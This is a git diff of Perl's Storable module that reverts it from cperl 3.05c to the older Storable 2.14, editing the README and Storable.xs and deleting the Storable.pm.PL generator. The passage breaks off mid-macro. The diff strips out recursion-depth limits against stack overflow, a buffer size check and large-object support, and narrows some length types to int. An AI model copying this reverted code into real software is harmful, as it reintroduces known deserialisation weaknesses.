Storable.pm - $(NOECHO) $(NOOP) - -Storable.pm :: Storable.pm.PL __Storable__.pm - $(PERLRUN) Storable.pm.PL -' -} diff --git a/dist/Storable/README b/dist/Storable/README index f63ace943450..247dcc245af3 100644 --- a/dist/Storable/README +++ b/dist/Storable/README @@ -1,7 +1,6 @@ - Storable 3.05c + Storable 2.14 Copyright (c) 1995-2000, Raphael Manfredi Copyright (c) 2001-2004, Larry Wall - Copyright (c) 2016,2017 cPanel Inc ------------------------------------------------------------------------ This program is free software; you can redistribute it and/or modify @@ -16,8 +15,8 @@ +======================================================================= | Storable is distributed as a module, but is also part of the official | Perl core distribution, as of perl 5.8. -| Maintenance is partially done by the perl5-porters, and for cperl by cPanel. -| We thank Raphael Manfredi for providing us with this very useful module. +| Maintenance is now done by the perl5-porters. We thank Raphael +| Manfredi for providing us with this very useful module. +======================================================================= The Storable extension brings persistence to your data. @@ -48,10 +47,7 @@ To compile this extension, run: There is an embedded POD manual page in Storable.pm. Storable was written by Raphael Manfredi -Maintenance is now done by cperl, https://github.com/rurban/Storable/ -Note that p5p still ships an old broken version, without stack overflow -protection and large object support. As long as you don't store overlarge -objects, they are compatible. +Maintenance is now done by the perl5-porters Please e-mail us with problems, bug fixes, comments and complaints, although if you have complements you should send them to Raphael. @@ -72,10 +68,6 @@ Thanks to (in chronological order): Marc Lehmann Justin Banks Jarkko Hietaniemi (AGAIN, as perl 5.7.0 Pumpkin!) - Todd Rinaldo and JD Lightsey - for optional disabling tie and bless for increased security. - Reini Urban for the 3.0x >2G support and rewrite - JD Lightsey for their contributions. @@ -112,3 +104,6 @@ bring you this Storable release: Tim Bunce VMSperlers Yitzchak Scott-Thoennes + +If I've missed you out, please accept my apologies, and e-mail your +patch to perl5-porters@perl.org. diff --git a/dist/Storable/Storable.pm.PL b/dist/Storable/Storable.pm.PL deleted file mode 100644 index df979c09a9bf..000000000000 --- a/dist/Storable/Storable.pm.PL +++ /dev/null @@ -1,35 +0,0 @@ -use strict; -use warnings; - -use Config; - -my $template; -{ # keep all the code in an external template to keep it easy to update - local $/; - open my $FROM, '<', '__Storable__.pm' or die $!; - $template = <$FROM>; - close $FROM or die $!; -} - -sub CAN_FLOCK { - return - $Config{'d_flock'} || - $Config{'d_fcntl_can_lock'} || - $Config{'d_lockf'} - ? 1 : 0; -} - -my $CAN_FLOCK = CAN_FLOCK(); - -# populate the sub and preserve it if used outside -$template =~ s{^sub CAN_FLOCK;.*$}{sub CAN_FLOCK { ${CAN_FLOCK} } # computed by Storable.pm.PL}m; -# alternatively we could remove the sub -#$template =~ s{^sub CAN_FLOCK;.*$}{}m; -# replace local function calls to hardcoded value -$template =~ s{&CAN_FLOCK}{${CAN_FLOCK}}g; - -{ - open my $OUT, '>', 'Storable.pm' or die $!; - print {$OUT} $template or die $!; - close $OUT or die $!; -} diff --git a/dist/Storable/Storable.xs b/dist/Storable/Storable.xs index 6a90e2481425..9ba48be1c49e 100644 --- a/dist/Storable/Storable.xs +++ b/dist/Storable/Storable.xs @@ -1,11 +1,8 @@ -/* -*- c-basic-offset: 4 -*- - * - * Fast store and retrieve mechanism. +/* + * Store and retrieve mechanism. * * Copyright (c) 1995-2000, Raphael Manfredi - * Copyright (c) 2016, 2017 cPanel Inc - * Copyright (c) 2017 Reini Urban - * + * * You may redistribute only under the same terms as Perl 5, as specified * in the README file that comes with the distribution. * @@ -21,8 +18,6 @@ #endif #if !defined(PERL_VERSION) || PERL_VERSION < 10 || (PERL_VERSION == 10 && PERL_SUBVERSION < 1) -#define NEED_PL_parser -#define NEED_sv_2pv_flags #define NEED_load_module #define NEED_vload_module #define NEED_newCONSTSUB @@ -31,7 +26,7 @@ #include "ppport.h" /* handle old perls */ #endif -#ifdef DEBUGGING +#if 0 #define DEBUGME /* Debug mode, turns assertions on as well */ #define DASSERT /* Assertion mode */ #endif @@ -72,23 +67,19 @@ #endif #ifndef HvRITER_get -# define HvRITER_get HvRITER +# define HvRITER_get HvRITER #endif #ifndef HvEITER_get -# define HvEITER_get HvEITER +# define HvEITER_get HvEITER #endif #ifndef HvPLACEHOLDERS_get -# define HvPLACEHOLDERS_get HvPLACEHOLDERS +# define HvPLACEHOLDERS_get HvPLACEHOLDERS #endif #ifndef HvTOTALKEYS # define HvTOTALKEYS(hv) HvKEYS(hv) #endif -/* 5.6 */ -#ifndef HvUSEDKEYS -# define HvUSEDKEYS(hv) HvKEYS(hv) -#endif #ifdef SVf_IsCOW # define SvTRULYREADONLY(sv) SvREADONLY(sv) @@ -96,14 +87,6 @@ # define SvTRULYREADONLY(sv) (SvREADONLY(sv) && !SvIsCOW(sv)) #endif -#ifndef SvPVCLEAR -# define SvPVCLEAR(sv) sv_setpvs(sv, "") -#endif - -#ifndef strEQc -# define strEQc(s,c) memEQ(s, ("" c ""), sizeof(c)) -#endif - #ifdef DEBUGME #ifndef DASSERT @@ -111,46 +94,27 @@ #endif /* - * TRACEME() will only output things when the $Storable::DEBUGME is true, - * using the value traceme cached in the context. - * - * - * TRACEMED() directly looks at the variable, for use before traceme has been - * updated. + * TRACEME() will only output things when the $Storable::DEBUGME is true. */ -#define TRACEME(x) \ - STMT_START { \ - if (cxt->traceme) \ - { PerlIO_stdoutf x; PerlIO_stdoutf("\n"); } \ - } STMT_END - -#define TRACEMED(x) \ - STMT_START { \ - if (SvTRUE(get_sv("Storable::DEBUGME", GV_ADD))) \ - { PerlIO_stdoutf x; PerlIO_stdoutf("\n"); } \ - } STMT_END - -#define INIT_TRACEME \ - STMT_START { \ - cxt->traceme = SvTRUE(get_sv("Storable::DEBUGME", GV_ADD)); \ - } STMT_END - +#define TRACEME(x) \ + STMT_START { \ + if (SvTRUE(perl_get_sv("Storable::DEBUGME", GV_ADD))) \ + { PerlIO_stdoutf x; PerlIO_stdoutf("\n"); } \ + } STMT_END #else #define TRACEME(x) -#define TRACEMED(x) -#define INIT_TRACEME #endif /* DEBUGME */ #ifdef DASSERT -#define ASSERT(x,y) \ - STMT_START { \ - if (!(x)) { \ - PerlIO_stdoutf("ASSERT FAILED (\"%s\", line %d): ", \ - __FILE__, (int)__LINE__); \ - PerlIO_stdoutf y; PerlIO_stdoutf("\n"); \ - } \ - } STMT_END +#define ASSERT(x,y) \ + STMT_START { \ + if (!(x)) { \ + PerlIO_stdoutf("ASSERT FAILED (\"%s\", line %d): ", \ + __FILE__, __LINE__); \ + PerlIO_stdoutf y; PerlIO_stdoutf("\n"); \ + } \ + } STMT_END #else #define ASSERT(x,y) #endif @@ -193,41 +157,39 @@ #define SX_VSTRING C(29) /* vstring forthcoming (small) */ #define SX_LVSTRING C(30) /* vstring forthcoming (large) */ #define SX_SVUNDEF_ELEM C(31) /* array element set to &PL_sv_undef */ -#define SX_REGEXP C(32) /* Regexp */ -#define SX_LOBJECT C(33) /* Large object: string, array or hash (size >2G) */ -#define SX_LAST C(34) /* invalid. marker only */ +#define SX_ERROR C(32) /* Error */ /* * Those are only used to retrieve "old" pre-0.6 binary images. */ -#define SX_ITEM 'i' /* An array item introducer */ -#define SX_IT_UNDEF 'I' /* Undefined array item */ -#define SX_KEY 'k' /* A hash key introducer */ -#define SX_VALUE 'v' /* A hash value introducer */ -#define SX_VL_UNDEF 'V' /* Undefined hash value */ +#define SX_ITEM 'i' /* An array item introducer */ +#define SX_IT_UNDEF 'I' /* Undefined array item */ +#define SX_KEY 'k' /* A hash key introducer */ +#define SX_VALUE 'v' /* A hash value introducer */ +#define SX_VL_UNDEF 'V' /* Undefined hash value */ /* * Those are only used to retrieve "old" pre-0.7 binary images */ -#define SX_CLASS 'b' /* Object is blessed, class name length <255 */ -#define SX_LG_CLASS 'B' /* Object is blessed, class name length >255 */ -#define SX_STORED 'X' /* End of object */ +#define SX_CLASS 'b' /* Object is blessed, class name length <255 */ +#define SX_LG_CLASS 'B' /* Object is blessed, class name length >255 */ +#define SX_STORED 'X' /* End of object */ /* * Limits between short/long length representation. */ -#define LG_SCALAR 255 /* Large scalar length limit */ -#define LG_BLESS 127 /* Large classname bless limit */ +#define LG_SCALAR 255 /* Large scalar length limit */ +#define LG_BLESS 127 /* Large classname bless limit */ /* * Operation types */ -#define ST_STORE 0x1 /* Store operation */ -#define ST_RETRIEVE 0x2 /* Retrieval operation */ -#define ST_CLONE 0x4 /* Deep cloning operation */ +#define ST_STORE 0x1 /* Store operation */ +#define ST_RETRIEVE 0x2 /* Retrieval operation */ +#define ST_CLONE 0x4 /* Deep cloning operation */ /* * The following structure is used for hash table key retrieval. Since, when @@ -241,10 +203,10 @@ * is required. Hence the aptr pointer. */ struct extendable { - char *arena; /* Will hold hash key strings, resized as needed */ - STRLEN asiz; /* Size of aforementioned buffer */ - char *aptr; /* Arena pointer, for in-place read/write ops */ - char *aend; /* First invalid address */ + char *arena; /* Will hold hash key strings, resized as needed */ + STRLEN asiz; /* Size of aforementioned buffer */ + char *aptr; /* Arena pointer, for in-place read/write ops */ + char *aend; /* First invalid address */ }; /* @@ -265,19 +227,6 @@ struct extendable { typedef unsigned long stag_t; /* Used by pre-0.6 binary format */ -/* - * Make the tag type 64-bit on 64-bit platforms. - * - * If the tag number is low enough it's stored as a 32-bit value, but - * with very large arrays and hashes it's possible to go over 2**32 - * scalars. - */ - -typedef STRLEN ntag_t; - -/* used for where_is_undef - marks an unset value */ -#define UNSET_NTAG_T (~(ntag_t)0) - /* * The following "thread-safe" related defines were contributed by * Murray Nesbitt and integrated by RAM, who @@ -338,34 +287,6 @@ typedef STRLEN ntag_t; #define USE_PTR_TABLE #endif -/* do we need/want to clear padding on NVs? */ -#if defined(LONG_DOUBLEKIND) && defined(USE_LONG_DOUBLE) -# if LONG_DOUBLEKIND == LONG_DOUBLE_IS_X86_80_BIT_LITTLE_ENDIAN || \ - LONG_DOUBLEKIND == LONG_DOUBLE_IS_X86_80_BIT_BIG_ENDIAN -# define NV_PADDING (NVSIZE - 10) -# else -# define NV_PADDING 0 -# endif -#else -/* This is kind of a guess - it means we'll get an unneeded clear on 128-bit NV - but an upgraded perl will fix that -*/ -# if NVSIZE > 8 -# define NV_CLEAR -# endif -# define NV_PADDING 0 -#endif - -typedef union { - NV nv; - U8 bytes[sizeof(NV)]; -} NV_bytes; - -/* Needed for 32bit with lengths > 2G - 4G, and 64bit */ -#if PTRSIZE > 4 -#define HAS_U64 -#endif - /* * Fields s_tainted and s_dirty are prefixed with s_ because Perl's include * files remap tainted and dirty when threading is enabled. That's bad for @@ -374,67 +295,53 @@ typedef union { struct stcxt; typedef struct stcxt { - int entry; /* flags recursion */ - int optype; /* type of traversal operation */ - /* which objects have been seen, store time. - tags are numbers, which are cast to (SV *) and stored directly */ + int entry; /* flags recursion */ + int optype; /* type of traversal operation */ + /* which objects have been seen, store time. + tags are numbers, which are cast to (SV *) and stored directly */ #ifdef USE_PTR_TABLE - /* use pseen if we have ptr_tables. We have to store tag+1, because - tag numbers start at 0, and we can't store (SV *) 0 in a ptr_table - without it being confused for a fetch lookup failure. */ - struct ptr_tbl *pseen; - /* Still need hseen for the 0.6 file format code. */ -#endif - HV *hseen; - AV *hook_seen; /* which SVs were returned by STORABLE_freeze() */ - AV *aseen; /* which objects have been seen, retrieve time */ - ntag_t where_is_undef; /* index in aseen of PL_sv_undef */ - HV *hclass; /* which classnames have been seen, store time */ - AV *aclass; /* which classnames have been seen, retrieve time */ - HV *hook; /* cache for hook methods per class name */ - IV tagnum; /* incremented at store time for each seen object */ - IV classnum; /* incremented at store time for each seen classname */ - int netorder; /* true if network order used */ - int s_tainted; /* true if input source is tainted, at retrieve time */ - int forgive_me; /* whether to be forgiving... */ - int deparse; /* whether to deparse code refs */ - SV *eval; /* whether to eval source code */ - int canonical; /* whether to store hashes sorted by key */ + /* use pseen if we have ptr_tables. We have to store tag+1, because + tag numbers start at 0, and we can't store (SV *) 0 in a ptr_table + without it being confused for a fetch lookup failure. */ + struct ptr_tbl *pseen; + /* Still need hseen for the 0.6 file format code. */ +#endif + HV *hseen; + AV *hook_seen; /* which SVs were returned by STORABLE_freeze() */ + AV *aseen; /* which objects have been seen, retrieve time */ + IV where_is_undef; /* index in aseen of PL_sv_undef */ + HV *hclass; /* which classnames have been seen, store time */ + AV *aclass; /* which classnames have been seen, retrieve time */ + HV *hook; /* cache for hook methods per class name */ + IV tagnum; /* incremented at store time for each seen object */ + IV classnum; /* incremented at store time for each seen classname */ + int netorder; /* true if network order used */ + int s_tainted; /* true if input source is tainted, at retrieve time */ + int forgive_me; /* whether to be forgiving... */ + int deparse; /* whether to deparse code refs */ + SV *eval; /* whether to eval source code */ + int canonical; /* whether to store hashes sorted by key */ #ifndef HAS_RESTRICTED_HASHES - int derestrict; /* whether to downgrade restricted hashes */ + int derestrict; /* whether to downgrade restricted hashes */ #endif #ifndef HAS_UTF8_ALL - int use_bytes; /* whether to bytes-ify utf8 */ -#endif - int accept_future_minor; /* croak immediately on future minor versions? */ - int s_dirty; /* context is dirty due to CROAK() -- can be cleaned */ - int membuf_ro; /* true means membuf is read-only and msaved is rw */ - struct extendable keybuf; /* for hash key retrieval */ - struct extendable membuf; /* for memory store/retrieve operations */ - struct extendable msaved; /* where potentially valid mbuf is saved */ - PerlIO *fio; /* where I/O are performed, NULL for memory */ - int ver_major; /* major of version for retrieved object */ - int ver_minor; /* minor of version for retrieved object */ - SV *(**retrieve_vtbl)(pTHX_ struct stcxt *, const char *); /* retrieve dispatch table */ - SV *prev; /* contexts chained backwards in real recursion */ - SV *my_sv; /* the blessed scalar who's SvPVX() I am */ - SV *recur_sv; /* check only one recursive SV */ - int in_retrieve_overloaded; /* performance hack for retrieving overloaded objects */ - int flags; /* controls whether to bless or tie objects */ - IV recur_depth; /* avoid stack overflows RT #97526 */ - IV max_recur_depth; /* limit for recur_depth */ - IV max_recur_depth_hash; /* limit for recur_depth for hashes */ -#ifdef DEBUGME - int traceme; /* TRACEME() produces output */ -#endif + int use_bytes; /* whether to bytes-ify utf8 */ +#endif + int accept_future_minor; /* croak immediately on future minor versions? */ + int s_dirty; /* context is dirty due to CROAK() -- can be cleaned */ + int membuf_ro; /* true means membuf is read-only and msaved is rw */ + struct extendable keybuf; /* for hash key retrieval */ + struct extendable membuf; /* for memory store/retrieve operations */ + struct extendable msaved; /* where potentially valid mbuf is saved */ + PerlIO *fio; /* where I/O are performed, NULL for memory */ + int ver_major; /* major of version for retrieved object */ + int ver_minor; /* minor of version for retrieved object */ + SV *(**retrieve_vtbl)(pTHX_ struct stcxt *, const char *); /* retrieve dispatch table */ + SV *prev; /* contexts chained backwards in real recursion */ + SV *my_sv; /* the blessed scalar who's SvPVX() I am */ + int in_retrieve_overloaded; /* performance hack for retrieving overloaded objects */ } stcxt_t; -#define RECURSION_TOO_DEEP() \ - (cxt->max_recur_depth != -1 && ++cxt->recur_depth > cxt->max_recur_depth) -#define RECURSION_TOO_DEEP_HASH() \ - (cxt->max_recur_depth_hash != -1 && ++cxt->recur_depth > cxt->max_recur_depth_hash) -#define MAX_DEPTH_ERROR "Max. recursion depth with nested structures exceeded" - static int storable_free(pTHX_ SV *sv, MAGIC* mg); static MGVTBL vtbl_storable = { @@ -456,16 +363,15 @@ static MGVTBL vtbl_storable = { /* From Digest::MD5. */ #ifndef sv_magicext -# define sv_magicext(sv, obj, type, vtbl, name, namlen) \ +# define sv_magicext(sv, obj, type, vtbl, name, namlen) \ THX_sv_magicext(aTHX_ sv, obj, type, vtbl, name, namlen) -static MAGIC *THX_sv_magicext(pTHX_ - SV *sv, SV *obj, int type, - MGVTBL const *vtbl, char const *name, I32 namlen) +static MAGIC *THX_sv_magicext(pTHX_ SV *sv, SV *obj, int type, + MGVTBL const *vtbl, char const *name, I32 namlen) { MAGIC *mg; if (obj || namlen) - /* exceeded intended usage of this reserve implementation */ - return NULL; + /* exceeded intended usage of this reserve implementation */ + return NULL; Newxz(mg, 1, MAGIC); mg->mg_virtual = (MGVTBL*)vtbl; mg->mg_type = type; @@ -480,56 +386,55 @@ static MAGIC *THX_sv_magicext(pTHX_ } #endif -#define NEW_STORABLE_CXT_OBJ(cxt) \ - STMT_START { \ - SV *self = newSV(sizeof(stcxt_t) - 1); \ - SV *my_sv = newRV_noinc(self); \ - sv_magicext(self, NULL, PERL_MAGIC_ext, &vtbl_storable, NULL, 0); \ - cxt = (stcxt_t *)SvPVX(self); \ - Zero(cxt, 1, stcxt_t); \ - cxt->my_sv = my_sv; \ - } STMT_END +#define NEW_STORABLE_CXT_OBJ(cxt) \ + STMT_START { \ + SV *self = newSV(sizeof(stcxt_t) - 1); \ + SV *my_sv = newRV_noinc(self); \ + sv_magicext(self, NULL, PERL_MAGIC_ext, &vtbl_storable, NULL, 0); \ + cxt = (stcxt_t *)SvPVX(self); \ + Zero(cxt, 1, stcxt_t); \ + cxt->my_sv = my_sv; \ + } STMT_END #if defined(MULTIPLICITY) || defined(PERL_OBJECT) || defined(PERL_CAPI) #if (PATCHLEVEL <= 4) && (SUBVERSION < 68) -#define dSTCXT_SV \ - SV *perinterp_sv = get_sv(MY_VERSION, 0) +#define dSTCXT_SV \ + SV *perinterp_sv = perl_get_sv(MY_VERSION, 0) #else /* >= perl5.004_68 */ -#define dSTCXT_SV \ - SV *perinterp_sv = *hv_fetch(PL_modglobal, \ - MY_VERSION, sizeof(MY_VERSION)-1, TRUE) +#define dSTCXT_SV \ + SV *perinterp_sv = *hv_fetch(PL_modglobal, \ + MY_VERSION, sizeof(MY_VERSION)-1, TRUE) #endif /* < perl5.004_68 */ -#define dSTCXT_PTR(T,name) \ - T name = ((perinterp_sv \ - && SvIOK(perinterp_sv) && SvIVX(perinterp_sv) \ - ? (T)SvPVX(SvRV(INT2PTR(SV*,SvIVX(perinterp_sv)))) : (T) 0)) -#define dSTCXT \ - dSTCXT_SV; \ - dSTCXT_PTR(stcxt_t *, cxt) - -#define INIT_STCXT \ - dSTCXT; \ - NEW_STORABLE_CXT_OBJ(cxt); \ - assert(perinterp_sv); \ - sv_setiv(perinterp_sv, PTR2IV(cxt->my_sv)) - -#define SET_STCXT(x) \ - STMT_START { \ - dSTCXT_SV; \ - sv_setiv(perinterp_sv, PTR2IV(x->my_sv)); \ - } STMT_END +#define dSTCXT_PTR(T,name) \ + T name = ((perinterp_sv && SvIOK(perinterp_sv) && SvIVX(perinterp_sv) \ + ? (T)SvPVX(SvRV(INT2PTR(SV*,SvIVX(perinterp_sv)))) : (T) 0)) +#define dSTCXT \ + dSTCXT_SV; \ + dSTCXT_PTR(stcxt_t *, cxt) + +#define INIT_STCXT \ + dSTCXT; \ + NEW_STORABLE_CXT_OBJ(cxt); \ + assert(perinterp_sv); \ + sv_setiv(perinterp_sv, PTR2IV(cxt->my_sv)) + +#define SET_STCXT(x) \ + STMT_START { \ + dSTCXT_SV; \ + sv_setiv(perinterp_sv, PTR2IV(x->my_sv)); \ + } STMT_END #else /* !MULTIPLICITY && !PERL_OBJECT && !PERL_CAPI */ static stcxt_t *Context_ptr = NULL; #define dSTCXT stcxt_t *cxt = Context_ptr #define SET_STCXT(x) Context_ptr = x -#define INIT_STCXT \ - dSTCXT; \ - NEW_STORABLE_CXT_OBJ(cxt); \ - SET_STCXT(cxt) +#define INIT_STCXT \ + dSTCXT; \ + NEW_STORABLE_CXT_OBJ(cxt); \ + SET_STCXT(cxt) #endif /* MULTIPLICITY || PERL_OBJECT || PERL_CAPI */ @@ -567,19 +472,9 @@ static stcxt_t *Context_ptr = NULL; #if PTRSIZE <= 4 #define LOW_32BITS(x) ((I32) (x)) #else -#define LOW_32BITS(x) ((I32) ((STRLEN) (x) & 0xffffffffUL)) +#define LOW_32BITS(x) ((I32) ((unsigned long) (x) & 0xffffffffUL)) #endif -/* - * PTR2TAG(x) - * - * Convert a pointer into an ntag_t. - */ - -#define PTR2TAG(x) ((ntag_t)(x)) - -#define TAG2PTR(x, type) ((y)(x)) - /* * oI, oS, oC * @@ -590,13 +485,11 @@ static stcxt_t *Context_ptr = NULL; #if INTSIZE > 4 #define oI(x) ((I32 *) ((char *) (x) + 4)) #define oS(x) ((x) - 4) -#define oL(x) (x) #define oC(x) (x = 0) #define CRAY_HACK #else #define oI(x) (x) #define oS(x) (x) -#define oL(x) (x) #define oC(x) #endif @@ -605,25 +498,22 @@ static stcxt_t *Context_ptr = NULL; */ #define kbuf (cxt->keybuf).arena #define ksiz (cxt->keybuf).asiz -#define KBUFINIT() \ - STMT_START { \ - if (!kbuf) { \ - TRACEME(("** allocating kbuf of 128 bytes")); \ - New(10003, kbuf, 128, char); \ - ksiz = 128; \ - } \ - } STMT_END -#define KBUFCHK(x) \ - STMT_START { \ - if (x >= ksiz) { \ - if (x >= I32_MAX) \ - CROAK(("Too large size > I32_MAX")); \ - TRACEME(("** extending kbuf to %d bytes (had %d)", \ - (int)(x+1), (int)ksiz)); \ - Renew(kbuf, x+1, char); \ - ksiz = x+1; \ - } \ - } STMT_END +#define KBUFINIT() \ + STMT_START { \ + if (!kbuf) { \ + TRACEME(("** allocating kbuf of 128 bytes")); \ + New(10003, kbuf, 128, char); \ + ksiz = 128; \ + } \ + } STMT_END +#define KBUFCHK(x) \ + STMT_START { \ + if (x >= ksiz) { \ + TRACEME(("** extending kbuf to %d bytes (had %d)", x+1, ksiz)); \ + Renew(kbuf, x+1, char); \ + ksiz = x+1; \ + } \ + } STMT_END /* * memory buffer handling @@ -637,28 +527,28 @@ static stcxt_t *Context_ptr = NULL; #define MMASK (MGROW - 1) #define round_mgrow(x) \ - ((STRLEN) (((STRLEN) (x) + MMASK) & ~MMASK)) + ((unsigned long) (((unsigned long) (x) + MMASK) & ~MMASK)) #define trunc_int(x) \ - ((STRLEN) ((STRLEN) (x) & ~(sizeof(int)-1))) + ((unsigned long) ((unsigned long) (x) & ~(sizeof(int)-1))) #define int_aligned(x) \ - ((STRLEN)(x) == trunc_int(x)) - -#define MBUF_INIT(x) \ - STMT_START { \ - if (!mbase) { \ - TRACEME(("** allocating mbase of %d bytes", MGROW)); \ - New(10003, mbase, (int)MGROW, char); \ - msiz = (STRLEN)MGROW; \ - } \ - mptr = mbase; \ - if (x) \ - mend = mbase + x; \ - else \ - mend = mbase + msiz; \ - } STMT_END + ((unsigned long) (x) == trunc_int(x)) + +#define MBUF_INIT(x) \ + STMT_START { \ + if (!mbase) { \ + TRACEME(("** allocating mbase of %d bytes", MGROW)); \ + New(10003, mbase, MGROW, char); \ + msiz = (STRLEN)MGROW; \ + } \ + mptr = mbase; \ + if (x) \ + mend = mbase + x; \ + else \ + mend = mbase + msiz; \ + } STMT_END #define MBUF_TRUNC(x) mptr = mbase + x -#define MBUF_SIZE() (mptr - mbase) +#define MBUF_SIZE() (mptr - mbase) /* * MBUF_SAVE_AND_LOAD @@ -668,159 +558,153 @@ static stcxt_t *Context_ptr = NULL; * buffer into cxt->msaved, before MBUF_LOAD() can be used to retrieve * data from a string. */ -#define MBUF_SAVE_AND_LOAD(in) \ - STMT_START { \ - ASSERT(!cxt->membuf_ro, ("mbase not already saved")); \ - cxt->membuf_ro = 1; \ - TRACEME(("saving mbuf")); \ - StructCopy(&cxt->membuf, &cxt->msaved, struct extendable); \ - MBUF_LOAD(in); \ - } STMT_END - -#define MBUF_RESTORE() \ - STMT_START { \ - ASSERT(cxt->membuf_ro, ("mbase is read-only")); \ - cxt->membuf_ro = 0; \ - TRACEME(("restoring mbuf")); \ - StructCopy(&cxt->msaved, &cxt->membuf, struct extendable); \ - } STMT_END +#define MBUF_SAVE_AND_LOAD(in) \ + STMT_START { \ + ASSERT(!cxt->membuf_ro, ("mbase not already saved")); \ + cxt->membuf_ro = 1; \ + TRACEME(("saving mbuf")); \ + StructCopy(&cxt->membuf, &cxt->msaved, struct extendable); \ + MBUF_LOAD(in); \ + } STMT_END + +#define MBUF_RESTORE() \ + STMT_START { \ + ASSERT(cxt->membuf_ro, ("mbase is read-only")); \ + cxt->membuf_ro = 0; \ + TRACEME(("restoring mbuf")); \ + StructCopy(&cxt->msaved, &cxt->membuf, struct extendable); \ + } STMT_END /* * Use SvPOKp(), because SvPOK() fails on tainted scalars. * See store_scalar() for other usage of this workaround. */ -#define MBUF_LOAD(v) \ - STMT_START { \ - ASSERT(cxt->membuf_ro, ("mbase is read-only")); \ - if (!SvPOKp(v)) \ - CROAK(("Not a scalar string")); \ - mptr = mbase = SvPV(v, msiz); \ - mend = mbase + msiz; \ - } STMT_END - -#define MBUF_XTEND(x) \ - STMT_START { \ - STRLEN nsz = (STRLEN) round_mgrow((x)+msiz); \ - STRLEN offset = mptr - mbase; \ - ASSERT(!cxt->membuf_ro, ("mbase is not read-only")); \ - TRACEME(("** extending mbase from %ld to %ld bytes (wants %ld new)", \ - (long)msiz, nsz, (long)(x))); \ - Renew(mbase, nsz, char); \ - msiz = nsz; \ - mptr = mbase + offset; \ - mend = mbase + nsz; \ - } STMT_END - -#define MBUF_CHK(x) \ - STMT_START { \ - if ((mptr + (x)) > mend) \ - MBUF_XTEND(x); \ - } STMT_END - -#define MBUF_GETC(x) \ - STMT_START { \ - if (mptr < mend) \ - x = (int) (unsigned char) *mptr++; \ - else \ - return (SV *) 0; \ - } STMT_END +#define MBUF_LOAD(v) \ + STMT_START { \ + ASSERT(cxt->membuf_ro, ("mbase is read-only")); \ + if (!SvPOKp(v)) \ + CROAK(("Not a scalar string")); \ + mptr = mbase = SvPV(v, msiz); \ + mend = mbase + msiz; \ + } STMT_END + +#define MBUF_XTEND(x) \ + STMT_START { \ + int nsz = (int) round_mgrow((x)+msiz); \ + int offset = mptr - mbase; \ + ASSERT(!cxt->membuf_ro, ("mbase is not read-only")); \ + TRACEME(("** extending mbase from %d to %d bytes (wants %d new)", \ + msiz, nsz, (x))); \ + Renew(mbase, nsz, char); \ + msiz = nsz; \ + mptr = mbase + offset; \ + mend = mbase + nsz; \ + } STMT_END + +#define MBUF_CHK(x) \ + STMT_START { \ + if ((mptr + (x)) > mend) \ + MBUF_XTEND(x); \ + } STMT_END + +#define MBUF_GETC(x) \ + STMT_START { \ + if (mptr < mend) \ + x = (int) (unsigned char) *mptr++; \ + else \ + return (SV *) 0; \ + } STMT_END #ifdef CRAY_HACK -#define MBUF_GETINT(x) \ - STMT_START { \ - oC(x); \ - if ((mptr + 4) <= mend) { \ - memcpy(oI(&x), mptr, 4); \ - mptr += 4; \ - } else \ - return (SV *) 0; \ - } STMT_END +#define MBUF_GETINT(x) \ + STMT_START { \ + oC(x); \ + if ((mptr + 4) <= mend) { \ + memcpy(oI(&x), mptr, 4); \ + mptr += 4; \ + } else \ + return (SV *) 0; \ + } STMT_END #else -#define MBUF_GETINT(x) \ - STMT_START { \ - if ((mptr + sizeof(int)) <= mend) { \ - if (int_aligned(mptr)) \ - x = *(int *) mptr; \ - else \ - memcpy(&x, mptr, sizeof(int)); \ - mptr += sizeof(int); \ - } else \ - return (SV *) 0; \ - } STMT_END -#endif - -#define MBUF_READ(x,s) \ - STMT_START { \ - if ((mptr + (s)) <= mend) { \ - memcpy(x, mptr, s); \ - mptr += s; \ - } else \ - return (SV *) 0; \ - } STMT_END - -#define MBUF_SAFEREAD(x,s,z) \ - STMT_START { \ - if ((mptr + (s)) <= mend) { \ - memcpy(x, mptr, s); \ - mptr += s; \ - } else { \ - sv_free(z); \ - return (SV *) 0; \ - } \ - } STMT_END +#define MBUF_GETINT(x) \ + STMT_START { \ + if ((mptr + sizeof(int)) <= mend) { \ + if (int_aligned(mptr)) \ + x = *(int *) mptr; \ + else \ + memcpy(&x, mptr, sizeof(int)); \ + mptr += sizeof(int); \ + } else \ + return (SV *) 0; \ + } STMT_END +#endif + +#define MBUF_READ(x,s) \ + STMT_START { \ + if ((mptr + (s)) <= mend) { \ + memcpy(x, mptr, s); \ + mptr += s; \ + } else \ + return (SV *) 0; \ + } STMT_END + +#define MBUF_SAFEREAD(x,s,z) \ + STMT_START { \ + if ((mptr + (s)) <= mend) { \ + memcpy(x, mptr, s); \ + mptr += s; \ + } else { \ + sv_free(z); \ + return (SV *) 0; \ + } \ + } STMT_END #define MBUF_SAFEPVREAD(x,s,z) \ - STMT_START { \ - if ((mptr + (s)) <= mend) { \ - memcpy(x, mptr, s); \ - mptr += s; \ - } else { \ - Safefree(z); \ - return (SV *) 0; \ - } \ - } STMT_END - -#define MBUF_PUTC(c) \ - STMT_START { \ - if (mptr < mend) \ - *mptr++ = (char) c; \ - else { \ - MBUF_XTEND(1); \ - *mptr++ = (char) c; \ - } \ - } STMT_END + STMT_START { \ + if ((mptr + (s)) <= mend) { \ + memcpy(x, mptr, s); \ + mptr += s; \ + } else { \ + Safefree(z); \ + return (SV *) 0; \ + } \ + } STMT_END + +#define MBUF_PUTC(c) \ + STMT_START { \ + if (mptr < mend) \ + *mptr++ = (char) c; \ + else { \ + MBUF_XTEND(1); \ + *mptr++ = (char) c; \ + } \ + } STMT_END #ifdef CRAY_HACK -#define MBUF_PUTINT(i) \ - STMT_START { \ - MBUF_CHK(4); \ - memcpy(mptr, oI(&i), 4); \ - mptr += 4; \ - } STMT_END +#define MBUF_PUTINT(i) \ + STMT_START { \ + MBUF_CHK(4); \ + memcpy(mptr, oI(&i), 4); \ + mptr += 4; \ + } STMT_END #else #define MBUF_PUTINT(i) \ - STMT_START { \ - MBUF_CHK(sizeof(int)); \ - if (int_aligned(mptr)) \ - *(int *) mptr = i; \ - else \ - memcpy(mptr, &i, sizeof(int)); \ - mptr += sizeof(int); \ - } STMT_END -#endif - -#define MBUF_PUTLONG(l) \ - STMT_START { \ - MBUF_CHK(8); \ - memcpy(mptr, &l, 8); \ - mptr += 8; \ - } STMT_END -#define MBUF_WRITE(x,s) \ - STMT_START { \ - MBUF_CHK(s); \ - memcpy(mptr, x, s); \ - mptr += s; \ - } STMT_END + STMT_START { \ + MBUF_CHK(sizeof(int)); \ + if 